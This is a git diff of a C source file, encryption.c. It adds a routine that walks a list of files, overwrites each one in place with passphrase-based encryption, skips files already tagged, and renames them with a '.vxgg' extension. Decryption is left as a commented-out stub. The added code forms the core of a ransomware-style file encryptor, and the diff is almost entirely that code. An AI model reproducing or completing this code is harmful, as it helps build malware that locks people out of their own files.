diff options
Diffstat (limited to 'src/encryption.c')
| -rw-r--r-- | src/encryption.c | 70 |
1 files changed, 70 insertions, 0 deletions
diff --git a/src/encryption.c b/src/encryption.c index 268b802..8f52e49 100644 --- a/src/encryption.c +++ b/src/encryption.c | |||
| @@ -4,8 +4,13 @@ | |||
| 4 | * Makes files unreadable, kinda. | 4 | * Makes files unreadable, kinda. |
| 5 | */ | 5 | */ |
| 6 | 6 | ||
| 7 | #define _GNU_SOURCE | ||
| 8 | #define TESTING | ||
| 9 | |||
| 10 | #include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem | ||
| 7 | #include "encryption.h" | 11 | #include "encryption.h" |
| 8 | 12 | ||
| 13 | |||
| 9 | #include <sys/types.h> | 14 | #include <sys/types.h> |
| 10 | #include <sys/stat.h> | 15 | #include <sys/stat.h> |
| 11 | #include <stdlib.h> | 16 | #include <stdlib.h> |
| @@ -17,6 +22,8 @@ | |||
| 17 | #include <fcntl.h> | 22 | #include <fcntl.h> |
| 18 | 23 | ||
| 19 | #include <stdio.h> | 24 | #include <stdio.h> |
| 25 | #include <stdarg.h> | ||
| 26 | #include <regex.h> | ||
| 20 | 27 | ||
| 21 | // Encrypt a file (OVERWRITES FILE!) using a passphrase | 28 | // Encrypt a file (OVERWRITES FILE!) using a passphrase |
| 22 | size_t passenc(int fd, const char *passphrase) { | 29 | size_t passenc(int fd, const char *passphrase) { |
| @@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) { | |||
| 174 | return totalwritten; | 181 | return totalwritten; |
| 175 | } | 182 | } |
| 176 | 183 | ||
| 184 | int rename_format(const char *fullpath, const char *format, ...) { | ||
| 185 | va_list ap; | ||
| 186 | va_start(ap, format); | ||
| 187 | |||
| 188 | char *newname = NULL; int err = 0; | ||
| 189 | if((err = vasprintf(&newname, format, ap)) < 0) { | ||
| 190 | error(0, 0, "<rename_nodelist> Could not create string for new file"); | ||
| 191 | return err; | ||
| 192 | } | ||
| 193 | |||
| 194 | if((err = rename(fullpath, newname)) < 0) { | ||
| 195 | error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname); | ||
| 196 | return err; | ||
| 197 | } | ||
| 198 | |||
| 199 | free(newname); | ||
| 200 | va_end(ap); | ||
| 201 | |||
| 202 | return err; | ||
| 203 | } | ||
| 204 | |||
| 205 | |||
| 206 | |||
| 207 | int encryptvxgg(const struct nodelist *list, const char *passphrase) { | ||
| 208 | int fd = -1; | ||
| 209 | |||
| 210 | regex_t encext; | ||
| 211 | regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE); | ||
| 212 | |||
| 213 | // Encrypt everything | ||
| 214 | for(const struct nodelist *p = list; p != NULL; p = p->next) { | ||
| 215 | if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element | ||
| 216 | continue; | ||
| 217 | if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files | ||
| 218 | continue; | ||
| 219 | |||
| 220 | fd = open(p->fullpath, O_RDWR); | ||
| 221 | if(fd < 0) { | ||
| 222 | #ifdef TESTING | ||
| 223 | error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath); | ||
| 224 | #endif | ||
| 225 | continue; | ||
| 226 | } | ||
| 227 | |||
| 228 | passencblock(fd, passphrase); | ||
| 229 | close(fd); | ||
| 230 | #ifndef TESTING | ||
| 231 | rename_format(p->fullpath, "%s.vxgg", p->fullpath); | ||
| 232 | #else | ||
| 233 | rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase); | ||
| 234 | #endif | ||
| 235 | |||
| 236 | } | ||
| 237 | |||
| 238 | return 0; | ||
| 239 | } | ||
| 240 | |||
| 241 | // int decryptvxgg(const struct nodelist *list, const char *passphrase) { | ||
| 242 | |||
| 243 | |||
| 244 | // return 0; | ||
| 245 | // } | ||
| 246 | |||
| 177 | /* | 247 | /* |
| 178 | int main() { | 248 | int main() { |
| 179 | int fd = open("test.txt", O_RDWR); | 249 | int fd = open("test.txt", O_RDWR); |
